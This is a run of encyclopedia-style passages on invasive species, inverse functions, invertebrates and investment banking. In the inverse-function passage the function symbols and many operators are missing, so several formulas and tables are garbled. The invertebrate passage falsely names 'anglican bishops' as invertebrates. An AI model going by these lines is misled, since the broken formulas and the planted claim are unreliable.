          Purebred naturally evolved region specific wild species can be threatened with extinction in a big way through the process of genetic pollution i.e. uncontrolled hybridization, introgression and genetic swamping which leads to homogenization or replacement of local genotypes as a result of either a numerical and/or fitness advantage of introduced plant or animal. Nonnative species can bring about a form of extinction of native plants and animals by hybridization and introgression either through purposeful introduction by humans or through habitat modification, bringing previously isolated species into contact. These phenomena can be especially detrimental for rare species coming into contact with more abundant ones where the abundant ones can interbreed with them swamping the entire rarer gene pool creating hybrids thus driving the entire original purebred native stock to complete extinction. Attention has to be focused on the extent of this under appreciated problem that is not always apparent from morphological (outward appearance) observations alone. Some degree of gene flow may be a normal, evolutionarily constructive process, and all constellations of genes and genotypes cannot be preserved however, hybridization with or without introgression may, nevertheless, threaten a rare species' existence.


          


          Economic impacts


          Economic costs due to invasive species can be separated into direct costs due to production loss in agriculture and forestry, and management costs of invasive species. Estimated damage and control cost of invasive species in the U.S. alone amount to more than $138billion annually. In addition to these costs, economic losses can occur due to loss from recreational and tourism revenues. Economic costs of invasions, when calculated as production loss and management costs, are low because they do not usually consider environmental damages. If monetary values could be assigned to the extinction of species, loss in biodiversity, and loss of ecosystem services, costs from impacts of invasive species would drastically increase. The following examples from different sectors of the economy demonstrate the impact of biological invasions.


          


          Agriculture


          Agricultural weeds cause an overall reduction in yield. Most weed species are accidental introductions with crop seeds and imported plant material. Many introduced weeds in pastures compete with native forage plants, are toxic (e.g., leafy spurge, Euphorbia esula) to cattle or non palatable due to thorns and spines (e.g., yellow star thistle, Centaurea solstitialis). Forage loss due to invasive weeds on pastures amounts to nearly $1billion in the U.S. alone. A decline in pollinator services and loss of fruit production has been observed due to the infection of honey bees ( Apis mellifera another invasive species to the Americas) by the invasive varroa mite. Introduced rodents (rats, Rattus rattus and R. norvegicus) have become serious pests on farms destroying stored grains.


          


          Forestry


          The unintentional introduction of forest pest species and plant pathogens can change forest ecology and negatively impact timber industry. The Asian long-horned beetle ( Anoplophora glabripennis) was first introduced into the U.S. in 1996 and is expected to infect and damage millions of acres of hardwood trees. Thirty million dollars have already been spent in attempts to eradicate this pest and protect millions of trees in the affected regions.


          The woolly adelgid inflicts damage on old growth spruce fir forests and negatively impacts the Christmas tree industry. The chestnut blight fungus ( Cryphonectria parasitica) and Dutch elm disease ( Ophiostoma novo-ulmi) are two plant pathogens with serious impacts on forest health.


          


          Tourism and recreation


          Invasive species can have impacts on recreational activities such as fishing, hunting, hiking, wildlife viewing, and water-based recreation. They negatively affect a wide array of environmental attributes that are important to support recreation, including but not limited to water quality and quantity, plant and animal diversity, and species abundance. Eiswerth goes on to say that "very little research has been performed to estimate the corresponding economic losses at spatial scales such as regions, states, and watersheds." Eurasian Watermilfoil (Myriophyllum spicatum) in parts of the US, fill lakes with plants making fishing and boating difficult.


          


          Health impacts


          An increasing threat of exotic diseases exists due to increased transportation and encroachment of humans into previously remote ecosystems that can lead to new associations between a disease and a human host (e.g., AIDS virus in human host.) Introduced birds (e.g. pigeons), rodents and insects (e.g. mosquitoes, fleas, lice and tsetse fly) can serve as vectors and reservoirs of human diseases. Throughout recorded history epidemics of human diseases such as malaria, yellow fever, typhus, and bubonic plague have been associated with these vectors. A recent example of an introduced disease is the spread of the West Nile virus across North America resulting in human deaths and in the deaths of many birds, mammals, and reptiles. Waterborne disease agents, such as Cholera bacteria ( Vibrio cholerae), and causative agents of harmful algal blooms are often transported via ballast water. The full range of impacts of invasive species and their control goes beyond immediate effects and can have long term public health implications. For instance, pesticides applied to treat a particular pest species could pollute soil and surface water.


          


          Threat to global biodiversity


          Biotic invasion is one of the five top drivers for global biodiversity loss and is increasing due to tourism and globalization. It poses a particular risk to inadequately regulated fresh water systems, though quarantines and ballast water rules have improved the situation in other respects.


          Historically the deliberate introduction of non-native species has been done with little or no consideration of the impact outside of having a favored animal, fish, or plant available locally, or perhaps an ill-conceived attempt to control a native pest. In areas with highly endemic, specialized and isolated flora and fauna such as Australia, New Zealand, Madagascar, the Hawaiian Archipelago, and the Galapagos Islands, introduced species that successfully establish themselves in habitats utilized by natives compete for limited resources or prey on the native species, some of which are unable to adapt to the more competitive environment and gradually die out.


          As more adaptable and generalized species are introduced to environments impacted adversely by human activities, some native species may be put at a disadvantage to survive while others thrive in the modified ecosystem. One of the primary threats to biodiversity is the spread of humanity into what were once isolated areas with land clearing and habitation putting significant pressure on local species. Agriculture, livestock and fishing can also introduce changes to local populations of indigenous species which may result in a previously innocuous native species becoming a pest due to a reduction of natural predators.


          


          Control


          The control of invasive species can involve their eradication or their containment within a specified area. In both cases, the goal is to prevent further spread to un-invaded systems. This type of management can be implemented at several scales, from a homeowner working in his or her own backyard to large government agencies taking a national approach. The decision to eradicate a species versus contain it can depend on several factors, including, but not limited to, the type of habitat, characteristics of the organism, the spatial dimensions of the spread, time available to dedicate to control, and cost. These factors also play a role in determining which specific control technique(s) to utilize.


          


          Mechanical control


          Mechanical control involves the removal of invasive species by hand or with machines. Often, these methods are effective in controlling small populations and can be target specific, minimizing harm to non-invasive plants and animals. Mechanical control is labor intensive and requires a large time investment, as treatments must often be applied several times to ensure success. Commonly implemented control methods for plants include hand pulling, mowing, girdling, and burning. For invasive animal control, techniques such as hunting, trapping, and the construction of physical barriers like fences or nets, are used.


          


          Chemical control


          Chemical compounds can be used to prevent the spread of invasive species. This method of control can be very effective in both large and small areas, but is often criticized due to the possible contamination of land and water resources and a lack of target specificity that can result in the killing of desirable plant and animal species. Also, the target species may develop a resistance to the chemicals over time, rendering this method ineffective. Herbicides are chemicals used to control invasive plants and, depending on the target species, can be applied directly to a plant, in the soil at a plants base, or even to the soil before seeds develop. For animals, other pesticides are used to restrict growth and reproduction or to kill invasive insect pests. Another form of chemical control is the use of attractant pheromones to lure mate-seeking insects into traps.


          


          Biological control


          Biological control involves the release of a specific species to restrict the spread of the invasive species. With the proper research, this method of control can be both environmentally safe and successful. However, it can be ineffective if the released species do not survive or if their impact on the invasive species is not as great as predicted. Also, the species chosen for release is not always a native organism, increasing the possibility of even more invasive species. Predatory insects, called weed feeders, can be released to control invasive plants. Similarly, plants can be infected by disease-causing organisms, such as fungi, bacteria, and viruses, killing them or reducing their reproductive output. Invasive animals can be controlled with the release of predatory or parasitic organisms (especially in the case of invasive insects) or with the transmission of diseases in a similar manner as with plants. Additionally, sterile insect or fish males of the invasive species can be released so that after mating, a female will lay dead eggs or eggs that will develop into sterile adults. There are instances in the past when biological controls specifically introduced to an area to control a nonnative species have had a negative effect on the ecosystem. A good example of this is when the mongoose was used as a biological predator in Hawaii to control the introduced rat population; unfortunately the mongoose also preys on native bird species and their eggs.


          


          Prevention


          Preventing the establishment of invasive species is always the best method of control. Stopping harmful species at this stage can be difficult. Many governments try to limit the entry of invasive species into their lands with thorough inspections of international shipments, customs checks, and proper quarantine regulations. The creation of a list of safe and potentially harmful species can be helpful in regulation. The general public can also participate in invasive species prevention by educating themselves about invasive species and by making informed decisions.


          


          Attempting a scientific definition


          In an attempt to avoid the ambiguous, subjective, and pejorative vocabulary that so often accompanies discussion of invasive species even in scientific papers, Colautti and MacIsaac have proposed a new nomenclature system based on biogeography rather than on taxa. Their system categorizes a species into the following stages:


          
            
              	Stage

              	Characteristic
            


            
              	0

              	Propagules residing in a donor region
            


            
              	I

              	Traveling
            


            
              	II

              	Introduced
            


            
              	III

              	Localized and numerically rare
            


            
              	IVa

              	Widespread but rare
            


            
              	IVb

              	Localized but dominant
            


            
              	V

              	Widespread and dominant
            

          


          By removing taxonomy, human health, and economic factors from consideration, this model focuses only on ecological factors. The model evaluates individual populations, and not entire species. This model does not attribute badness to invasive species and goodness to native species. It merely classifies a species in a particular location based on its growth patterns in that particular microenvironment. This model could be applied equally to indigenous and to non-native species.
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              A function  and its inverse 1. Because  maps a to 3, the inverse 1 maps 3 back to a.
            

          


          In mathematics, if  is a function from A to B then an inverse function for  is a function in the opposite direction, from B to A, with the property that a round trip (a composition) from A to B to A (or from B to A to B) returns each element of the initial set to itself. Not every function has an inverse; those that do are called invertible.


          For example, let  be the function that converts a temperature in degrees Celsius to a temperature in degrees Fahrenheit:


          
            	[image:  f(C) = \tfrac95 C + 32; \,\!]

          


          then its inverse function converts degrees Fahrenheit to degrees Celsius:


          
            	[image:  f^{-1}(F) = \tfrac59 (F - 32) . \,\!]

          


          Or, suppose  assigns each child in a family of three the year of its birth. An inverse function would tell us which child was born in a given year. However, if the family has twins (or triplets) then we cannot know which to name for their common birth year. As well, if we are given a year in which no child was born then we cannot name a child. But if each child was born in a separate year, and if we restrict attention to the three years in which a child was born, then we do have an inverse function. For example,


          
            	[image: \begin{align} f(\text{Alan})&=2005 , \quad & f(\text{Bree})&=2007 , \quad & f(\text{Cary})&=2001 \ f^{-1}(2001)&=\text{Cary} , \quad & f^{-1}(2005)&=\text{Alan} , \quad & f^{-1}(2007)&=\text{Bree} \end{align} ]

          


          


          Definitions


          
            [image: If ƒ maps X to Y, then ƒ–1 maps Y back to X.]
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          Let  be a function whose domain is the set X, and whose range is the set Y. Then the inverse of  is the function 1 with domain Y and range X, defined by the following rule:


          
            	[image: \text{If }f(x) = y\text{, then }f^{-1}(y) = x\text{.}\,\!]

          


          Thus, an inverse function uniquely identifies the input x of another function based only on its output y, for all yY. Not all functions have an inverse. For this rule to be appliable, each element yY must correspond to exactly one element xX. A function  with this property is called one-to-one, or information-preserving, or an injection.


          For instance, if (x) = y = x2, each element in Y would correspond to two different elements in X (x), and therefore  would not be invertible. More precisely, the square of x is not invertible because it is impossible to deduce from its output the sign of its input. Such a function is called non-injective or information-losing. Notice that neither the square root nor the principal square root function is the inverse of x2 because the first is not single-valued, and the second returns -x when x is negative.


          


          Inverses in higher mathematics


          The definition given above is commonly adopted in calculus. In higher mathematics, the notation


          
            	[image: f\colon X \to Y \,\!]

          


          means " is a function mapping elements of a set X to elements of a set Y". The source, X, is called the domain of , and the target, Y, is called the codomain. The codomain contains the range of  as a subset, and is considered part of the definition of .


          When using codomains, the inverse of a function


          is required to have domain Y and codomain X. For the inverse to be defined on all of Y, every element of Y must lie in the range of the function . A function with this property is called onto or a surjection. Thus, a function with a codomain is invertible if and only if it is both one-to-one and onto. Such a function is called a one-to-one correspondence or a bijection, and has the property that every element


          corresponds to exactly one element


          . 


          Inverses and composition


          If  is an invertible function with domain X and range Y, then


          
            	[image:  f^{-1}\left( \, f(x) \, \right) = x\text{, for every }x \in X\text{.} ]

          


          This statement is equivalent to the first of the above-given definitions of the inverse, and it becomes equivalent to the second definition if Y coincides with the codomain of . Using the composition of functions we can rewrite this statement as follows:


          
            	[image:  f^{-1} \circ f = \mathrm{id}_X\text{,} ]

          


          where idX is the identity function on the set X. In category theory, this statement is used as the definition of an inverse morphism.


          If we think of composition as a kind of multiplication of functions, this identity says that the inverse of a function is analogous to a multiplicative inverse. This explains the origin of the notation 1.


          


          Note on notation


          The superscript notation for inverses can sometimes be confused with other uses of superscripts, especially when dealing with trigonometric and hyperbolic functions.


          It is important to realize that 1(x) is not the same as (x)1. In 1(x), the superscript "1" is not an exponent. A similar notation is used in dynamical systems for iterated functions. For example, 2 denotes two iterations of the function ; if


          , then


          , or x + 2. In symbols:


          
            	[image: f^2(x) = f(f(x)) = (f \circ f)(x). ]

          


          In calculus, (n), with parentheses, denotes the nth derivative of a function . For instance:


          
            	[image: f^{(2)}(x) = \frac{d^{2}}{dx^{2}}f(x).]

          


          In trigonometry, for historical reasons, sin2(x) usually does mean the square of sin(x):


          
            	[image:  \sin^2 x = (\sin x)^2. \,\!]

          


          However, the expression sin-1(x) does not represent the multiplicative inverse to sin(x):


          
            	[image: \sin^{-1} x \neq (\sin x)^{-1}. \,\!]

          


          It denotes the inverse function for sin(x) (actually a partial inverse; see below). To avoid confusion, an inverse trigonometric function is often indicated by the prefix "arc". For instance the inverse sine is typically called the arcsine:


          
            	[image: \sin^{-1} x = \arcsin x = \mathrm{asin}\, x. \,\!]

          


          The function


          is the multiplicative inverse to the sine, and is called the cosecant. It is usually denoted cscx:


          
            	[image: (\sin x)^{-1} = \frac{1}{\sin x} = \csc x . \,\!]

          


          


          Properties


          


          Uniqueness


          If an inverse function exists for a given function , it is unique.


          


          Symmetry


          There is a symmetry between a function and its inverse. Specifically, if the inverse of  is 1, then the inverse of 1 is the original function . In symbols:


          
            	[image: \begin{align} &\text{If } &f^{-1} \circ f = \mathrm{id}_X\text{,} \ &\text{then } &f \circ f^{-1} = \mathrm{id}_Y\text{.} \end{align}]

          


          This statement is an obvious consequence of the above-explained deduction that, for  to be invertible, it must be injective (first definition of the inverse) or bijective (second definition). The property of symmetry can be concisely expressed by the following formula:


          
            	[image: \left(f^{-1}\right)^{-1} = f . \,\!]

          


          


          Inverse of a composition


          
            [image: The inverse of is .]

            
              The inverse of is .
            

          


          The inverse of a composition of functions is given by the formula


          
            	[image: (f \circ g)^{-1} = g^{-1} \circ f^{-1}]

          


          Notice that the order of  and g have been reversed; to undo g followed by , we must first undo  and then undo g.


          For example, let


          , and let


          . Then the composition


          is the function that first multiplies by three and then adds five:


          
            	[image: (f \circ g)(x) = 3x + 5]

          


          To reverse this process, we must first subtract five, and then divide by three:


          
            	[image: (f \circ g)^{-1}(y) = \tfrac13(y - 5)]

          


          This is the composition


          . 


          Self-inverses


          If X is a set, then the identity function on X is its own inverse:


          
            	[image: \mathrm{id}_X^{-1} = \mathrm{id}_X]

          


          More generally, a function


          is equal to its own inverse if and only if the composition


          is equal to idx. Such a function is called an involution. 


          Inverses in calculus


          Single-variable calculus is primarily concerned with functions that map real numbers to real numbers. Such functions are often defined through formulas, such as:


          
            	[image: f(x) = (2x + 8)^3 . \,\!]

          


          A function  from the real numbers to the real numbers possesses an inverse as long as it is one-to-one, i.e. as long as the graph of the function passes the horizontal line test.


          The following table shows several standard functions and their inverses:


          
            	
              
                
                  	Function (x)

                  	Inverse 1(y)

                  	Notes
                


                
                  	x + a

                  	y  a

                  	
                


                
                  	a  x

                  	a  y

                  	
                


                
                  	mx

                  	y / m

                  	m 0
                


                
                  	1 / x

                  	1 / y

                  	x, y  0
                


                
                  	x2

                  	[image: \sqrt{y}]

                  	x, y  0 only, [image: \pm\sqrt{y}] in general
                


                
                  	x3

                  	[image: \sqrt[3]{y}]

                  	no restriction on x and y
                


                
                  	xp

                  	y1/p (i.e. [image: \sqrt[p]{y}])

                  	x, y 0 in general, p  0
                


                
                  	ex

                  	ln y

                  	y>0
                


                
                  	ax

                  	loga y

                  	y>0 and a>0
                


                
                  	trigonometric functions

                  	inverse trigonometric functions

                  	various restrictions (see table below)
                

              

            

          


          


          Formula for the inverse


          One approach to finding a formula for 1, if it exists, is to solve the equation


          for x. For example, if  is the function


          
            	[image: f(x) = (2x + 8)^3 \,\!]

          


          then we must solve the equation


          for x:


          
            	[image: \begin{align} y & = (2x+8)^3 \ \sqrt[3]{y} & = 2x + 8 \ \sqrt[3]{y} - 8 & = 2x \ \dfrac{\sqrt[3]{y} - 8}{2} & = x . \end{align}]

          


          Thus the inverse function 1 is given by the formula


          
            	[image: f^{-1}(y) = \dfrac{\sqrt[3]{y} - 8}{2} . \,\!]

          


          Sometimes the inverse of a function cannot be expressed by a formula. For example, if  is the function


          
            	[image: f(x) = x + \sin x , \,\!]

          


          then  is one-to-one, and therefore possesses an inverse function 1. There is no simple formula for this inverse, since the equation


          cannot be solved algebraically for x. 


          Graph of the inverse


          
            [image: The graphs of and . The dotted line is .]

            
              The graphs of and . The dotted line is .
            

          


          If  and 1 are inverses, then the graph of the function


          
            	[image: y = f^{-1}(x)\,\!]

          


          is the same as the graph of the equation


          
            	[image: x = f(y) . \,\!]

          


          This is identical to the equation


          that defines the graph of , except that the roles of x and y have been reversed. Thus the graph of 1 can be obtained from the graph of  by switching the positions of the x and y axes. This is equivalent to reflecting the graph across the line


          . 


          Inverses and derivatives


          A continuous function  is one-to-one (and hence invertible) if and only if it is either increasing or decreasing (with no local maxima or minima). For example, the function


          
            	[image: f(x) = x^3 + x\,\!]

          


          is invertible, since the derivative


          is always positive. If the function  is differentiable, then the inverse 1 will be differentiable as long as


          . The derivative of the inverse is given by the inverse function theorem:


          
            	[image: \frac{d}{dy}\left[ f^{-1}(y) \right] = \frac{1}{f'\left(f^{-1}(y)\right)} . ]

          


          If we set


          , then the formula above can be written


          
            	[image: \frac{dx}{dy} = \frac{1}{dy / dx} . ]

          


          This result follows from the chain rule (see the article on inverse functions and differentiation).


          The inverse function theorem can be generalized to functions of several variables. Specifically, a differentiable function


          is invertible in a neighbourhood of a point p as long as the Jacobian matrix of  at p is invertible. In this case, the Jacobian of 1 at (p) is the matrix inverse of the Jacobian of  at p. 


          Generalizations


          


          Partial inverses


          
            [image: The square root of x is a partial inverse to .]

            
              The square root of x is a partial inverse to .
            

          


          Even if a function  is not one-to-one, it may be possible to define a partial inverse of  by restricting the domain. For example, the function


          
            	[image: f(x) = x^2\,\!]

          


          is not one-to-one, since


          . However, the function becomes one-to-one if we restrict to the domain


          , in which case


          
            	[image: f^{-1}(y) = \sqrt{y} . ]

          


          (If we instead restrict to the domain


          , then the inverse is the negative of the square root of x.) Alternatively, there is no need to restrict the domain if we are content with the inverse being a multivalued function:


          
            	[image: f^{-1}(y) = \pm\sqrt{y} . ]

          


          
            [image: The inverse of this cubic function has three branches.]

            
              The inverse of this cubic function has three branches.
            

          


          Sometimes this multivalued inverse is called the full inverse of , and the portions (such as x and x) are called branches. The most important branch of a multivalued function (e.g. the positive square root) is called the principal branch, and its value at y is called the principal value of 1(y).


          For a continuous function on the real line, one branch is required between each pair of local extrema. For example, the inverse of a cubic function with a local maximum and a local minimum has three branches (see the picture to the right).


          
            [image: The arcsine is a partial inverse of the sine function.]

            
              The arcsine is a partial inverse of the sine function.
            

          


          These considerations are particularly important for defining the inverses of trigonometric functions. For example, the sine function is not one-to-one, since


          
            	[image: \sin(x + 2\pi) = \sin(x)\,\!]

          


          for every real x (and more generally


          for every integer n). However, the sine is one-to-one on the interval


          , and the corresponding partial inverse is called the arcsine. This is considered the principal branch of the inverse sine, so the principal value of the inverse sine is always between 2 and 2. The following table describes the principal branch of each inverse trigonometric function:


          
            	
              
                
                  	function

                  	Range of usual principal value
                


                
                  	sin1

                  	2  sin1(x)  2
                


                
                  	cos1

                  	0  cos1(x) 
                


                
                  	tan1

                  	2 < tan1(x) < 2
                


                
                  	cot1

                  	0 < cot1(x) < 
                


                
                  	sec1

                  	0 < sec1(x) < 
                


                
                  	csc1

                  	2  csc1(x) < 2
                

              

            

          


          


          Left and right inverses


          If : X  Y, a left inverse for  (or retraction of ) is a function


          such that


          
            	[image: g \circ f = \mathrm{id}_X . \,\!]

          


          That is, the function g satisfies the rule


          
            	[image: \text{If }f(x) = y\text{, then }g(y) = x . \,\!]

          


          Thus, g must equal the inverse of  on the range of , but may take any values for elements of Y not in the range. A function  has a left inverse if and only if it is injective.


          A right inverse for  (or section of ) is a function


          such that


          
            	[image: f \circ h = \mathrm{id}_Y . \,\!]

          


          That is, the function h satisfies the rule


          
            	[image: \text{If }h(y) = x\text{, then }f(x) = y . \,\!]

          


          Thus, h(y) may be any of the elements of x that map to y under . A function  has a right inverse if and only if it is surjective (though constructing such an inverse in general requires the axiom of choice).


          An inverse which is both a left and right inverse must be unique; otherwise not. Likewise, if g is a left inverse for  then  may not be a right inverse for g; and if  is a right inverse for g then g is not necessarily a left inverse for .


          


          Preimages


          If : X  Y is any function (not necessarily invertible), the preimage (or inverse image) of an element


          is the set of all elements of X that map to y:


          
            	[image: f^{-1}(y) = \left\{ x\in X: f(x) = y \right\} . \,\!]

          


          The preimage of y can be thought of as the image of y under the (multivalued) full inverse of the function f.


          Similarly, if S is any subset of Y, the preimage of S is the set of all elements of X that map to S:


          
            	[image: f^{-1}(S) = \left\{ x\in X: f(x) \in S \right\} . \,\!]

          


          The preimage of a single element


          is sometimes called the fibre of y. When Y is the set of real numbers, it is common to refer to 1(y) as a level set. 


          
            Retrieved from " http://en.wikipedia.org/wiki/Inverse_function"
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        Invertebrate


        
          

          
            [image: Thelenota ananas, a sea cucumber (phylum: Echinodermata)]

            
              Thelenota ananas, a sea cucumber (phylum: Echinodermata)
            

          


          An invertebrate is an animal lacking a vertebral column. The group includes 97% of all animal species  all animals except those in the Chordate subphylum Vertebrata (fish, reptiles, amphibians, birds and mammals).


          Carolus Linnaeus' Systema Naturae divided these animals into only two groups, the Insecta and the now-obsolete vermes ( worms). Jean-Baptiste Lamarck, who was appointed to the position of "Curator of Insecta and Vermes" at the Musum National d'Histoire Naturelle in 1793, both coined the term "invertebrate" to describe such and divided the original two groups into ten, by splitting off Arachnida and Crustacea from the Linnean Insecta, and Mollusca, Annelida, Cirripedia, Radiata, Coelenterata and Infusoria from the Linnean Vermes. They are now classified into over 30 phyla, from simple organisms such as sea sponges and flatworms to complex animals such as anglican bishops, arthropods and molluscs.


          Invertebrates form a paraphyletic group. (For a full list of animals considered to be invertebrates, see animal.) All the listed phyla are invertebrates along with two of the three subphyla in Phylum Chordata: Urochordata and Cephalochordata. These two, plus all the other known invertebrates, have only one cluster of Hox genes, while the vertebrates have duplicated their original cluster more than once.


          Within paleozoology and paleobiology, invertebrates big and small are often studied within the fossil discipline called invertebrate paleontology.


          


          Phyla and common examples


          
            [image: Calopteryx virgo (male), a damselfly]

            
              Calopteryx virgo (male), a damselfly
            

          


          
            	Annelida  segmented worms ( earthworms, leeches, polychaetes)


            	Arthropoda  insects, arachnids, crustaceans


            	Cnidaria  jellyfishes, corals, sea anemones, hydras


            	Echinodermata  starfish, sea urchins, sea cucumbers


            	Mollusca  squid, snails, bivalves


            	Nematoda  roundworms


            	Nematomorpha  horsehair worms or gordian worms


            	Platyhelminthes  flatworms


            	Porifera  sponges

          


          



          


          Macroinvertebrates


          The term macroinvertebrates is traditionally used to refer to aquatic invertebrates including insects (e.g. larval Ephemeroptera and Trichoptera), crustaceans (e.g. amphipods), molluscs (e.g. aquatic snails) and worms (e.g. Platyhelminthes), which inhabit a river channel, pond, lake, wetland or ocean. Historically, their abundance and diversity have been used as an indicator of ecosystem health and of local biodiversity. They are a key component of the food chain.


          Most indices that are used to determine water quality rank the various forms of benthic macroinvertebrates with respect to pollution sensitivity. The presence of pollution sensitive macroinvertebrates indicates that the body of water is healthy. Alternatively, the excessive presence of pollution tolerant macroinvertebrates indicates poor water quality. Ideally, a healthy body of water will hold an abundant and diverse macroinvertebrate population.


          The macroinvertebrates traditionally seen as being pollution sensitive include: mayflies (Ephemeroptera), caddisflies (trichoptera), and stoneflies (Plecoptera). The macroinvertebrates that have been traditionally considered pollution tolerant include: aquatic worms (Oligocheata), leeches (Hirudinea) and non-biting midges or commonly known as "blood worms" (Chironomidae).


          Flow, food, habitat and water quality are the primary determinants of macroinvertebrate abundance and diversity. Food sources include phytoplankton, biofilms (i.e. the layers of bacteria or other micro-organisms that cover submerged surfaces) and terrestrial organic material (e.g. leaves) that enter the water from the riparian vegetation. Major predation occurs from other macroinvertebrates and fish. Key habitats for macroinvertebrates are the benthic sediments, aquatic vegetation and woody debris. Salinity, temperature, dissolved oxygen, and turbidity have a significant impact.


          There are many different kinds of arthropods. but they mainly have the structure of a segmented body and jointed legs.
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          Investment banks help companies and governments and their agencies to raise money by issuing and selling securities in the primary market. They assist public and private corporations in raising funds in the capital markets (both equity and debt), as well as in providing strategic advisory services for mergers, acquisitions and other types of financial transactions.


          Investment banks also act as intermediaries in trading for clients. Investment banks differ from commercial banks, which take deposits and make commercial and retail loans. In recent years, however, the lines between the two types of structures have blurred, especially as commercial banks have offered more investment banking services. In the US, the Glass-Steagall Act, initially created in the wake of the Stock Market Crash of 1929, prohibited banks from both accepting deposits and underwriting securities; Glass-Steagall was repealed by the Gramm-Leach-Bliley Act in 1999. Investment banks may also differ from brokerages, which in general assist in the purchase and sale of stocks, bonds, and mutual funds. However some firms operate as both brokerages and investment banks; this includes some of the best known financial services firms in the world.


          In the strictest definition, investment banking is the raising of funds, both in debt and equity, and the division handling this in an investment bank is often called the "Investment Banking Division" (IBD). However, only a few small firms solely provide this service. Almost all investment banks are heavily involved in providing additional financial services for clients, such as the trading of fixed income, foreign exchange, commodity, and equity securities. It is therefore acceptable to refer to both the "Investment Banking Division" and other 'front office' divisions such as "Fixed Income" as part of "investment banking," and any employee involved in either side as an "investment banker." Furthermore, one who engages in these activities in-house at a non-investment bank is also considered an investment banker. That said, many if not most IBD employees consider the title of Investment Banker reserved to them alone and bristle at self-referential use of this title by employees of other IB divisions, especially those engaged in Sales & Trading.


          More commonly used today to characterize what was traditionally termed "investment banking" is "sell side." This is trading securities for cash or securities (i.e., facilitating transactions, market-making), or the promotion of securities (i.e. underwriting, research, etc.).


          The "buy side" constitutes the pension funds, mutual funds, hedge funds, and the investing public who consume the products and services of the sell-side in order to maximize their return on investment. Many firms have both buy and sell side components.


          Generally speaking, those on the sell side are engaged in persuading those on the buy side. As such, it is sometimes considered to be more desirable to be on the buy side, since discretionary control over decisions lies with them. This said, it is not necessarily the case that the buy side is more personally lucrative than the sell side. As with most other endeavors, financial rewards await those who through luck or skill identify opportunity, regardless of whether they are selling or buying.


          


          Organizational structure of an investment bank


          


          The main activities and units


          The primary function of an investment bank is buying and selling products both on behalf of the bank's clients and also for the bank itself. Banks undertake risk through proprietary trading, done by a special set of traders who do not interface with clients and through Principal Risk, risk undertaken by a trader after he or she buys or sells a product to a client and does not hedge his or her total exposure. Banks seek to maximize profitability for a given amount of risk on their balance sheet.


          An investment bank is split into the so-called Front Office, Middle Office and Back Office. The individual activities are described below:


          Front Office


          
            	Investment Banking is the traditional aspect of investment banks which involves helping customers raise funds in the Capital Markets and advising on mergers and acquisitions. Investment bankers prepare idea pitches that they bring to meetings with their clients, with the expectation that their effort will be rewarded with a mandate when the client is ready to undertake a transaction. Once mandated, an investment bank is responsible for preparing all materials necessary for the transaction as well as the execution of the deal, which may involve subscribing investors to a security issuance, coordinating with bidders, or negotiating with a merger target. Other terms for the Investment Banking Division include Mergers & Acquisitions (M&A) and Corporate Finance (often pronounced "corpfin").


            	Investment management is the professional management of various securities (shares, bonds etc) and other assets (e.g. real estate), to meet specified investment goals for the benefit of the investors. Investors may be institutions (insurance companies, pension funds, corporations etc.) or private investors (both directly via investment contracts and more commonly via collective investment schemes eg. mutual funds) .

          


          
            	
              Financial Markets is split into four key divisions: Sales, Trading, Research and Structuring.

              
                	Sales and Trading is often the most profitable area of an investment bank, responsible for the majority of revenue of most investment banks. In the process of market making, traders will buy and sell financial products with the goal of making an incremental amount of money on each trade. Sales is the term for the investment banks sales force, whose primary job is to call on institutional and high-net-worth investors to suggest trading ideas (on caveat emptor basis) and take orders. Sales desks then communicate their clients' orders to the appropriate trading desks, who can price and execute trades, or structure new products that fit a specific need.


                	Research is the division which reviews companies and writes reports about their prospects, often with "buy" or "sell" ratings. While the research division generates no revenue, its resources are used to assist traders in trading, the sales force in suggesting ideas to customers, and investment bankers by covering their clients. In recent years the relationship between investment banking and research has become highly regulated, reducing its importance to the investment bank.


                	Structuring has been a relatively recent division as derivatives have come into play, with highly technical and numerate employees working on creating complex structured products which typically offer much greater margins and returns than underlying cash securities.

              

            

          


          Middle Office


          
            	Risk Management involves analysing the market and credit risk that traders are taking onto the balance sheet in conducting their daily trades, and setting limits on the amount of capital that they are able to trade in order to prevent 'bad' trades having a detrimental effect to a desk overall. Another key Middle Office role is to ensure that the above mentioned economic risks are captured accurately (as per agreement of commercial terms with the counterparty) correctly (as per standardised booking models in the most appropriate systems) and on time (typically within 30 minutes of trade execution). In recent years the risk of errors has become known as "operational risk" and the assurance Middle Offices provide now include measures to address this risk. When this assurance is not in place, market and credit risk analysis can be unreliable and open to deliberate manipulation.

          


          Back Office


          
            	Operations involves data-checking trades that have been conducted, ensuring that they are not erroneous, and transacting the required transfers. While it provides the greatest job security of the divisions within an investment bank, it is a critical part of the bank that involves managing the financial information of the bank and ensures efficient capital markets through the financial reporting function. The staff in these areas are often highly qualified and need to understand in depth the deals and transactions that occur across all the divisions of the bank. .

          


          Technology


          
            	Every major investment bank has considerable amounts of in-house software, created by the Technology team, who are also responsible for Computer and Telecommunications-based support. Technology has changed considerably in the last few years as more sales and trading desks are using electronic trading platforms. These platforms can serve as auto-executed hedging to complex model driven algorithms...

          


          


          Size of industry


          Global investment banking revenue increased for the third year running in 2005, to $52.8bn. This was up 14% on the previous year, but 7% below the 2000 peak. The recovery in the global economy and capital markets resulted in an increase in M&A activity, which has been the primary source of investment banking revenue in recent years. Credit spreads are tightening and intense competition within the field has ensured that the banking industry is on its toes.


          The US was the primary source of investment banking income in 2005, with 51% of the total, a proportion which has fallen somewhat during the past decade. Europe (with Middle East and Africa) generated 31% of the total, slightly up on its 30% share a decade ago. Asian countries generated the remaining 18%. Between 2002 and 2005, fee income from Asia increased by 98%. This compares with a 55% increase in Europe, and a 46% increase in the US, during this time period.


          


          Recent evolution of the business


          


          New products


          Investment banking is one of the most global industries and is hence continuously challenged to respond to new developments and innovation in the global financial markets. Throughout the history of investment banking, many have theorized that all investment banking products and services would be commoditized. New products with higher margins are constantly invented and manufactured by bankers in hopes of winning over clients and developing trading know-how in new markets. However, since these can usually not be patented or copyrighted, they are very often copied quickly by competing banks, pushing down trading margins.


          For example, trading bonds and equities for customers is now a commodity business, but structuring and trading derivatives is highly profitable. Each OTC contract has to be uniquely structured and could involve complex pay-off and risk profiles. Listed option contracts are traded through major exchanges, such as the CBOE, and are almost as commoditized as general equity securities.


          In addition, while many products have been commoditized, an increasing amount of profit within investment banks has come from proprietary trading, where size creates a positive network benefit (since the more trades an investment bank does, the more it knows about the market flow, allowing it to theoretically make better trades and pass on better guidance to clients).


          


          Vertical Integration


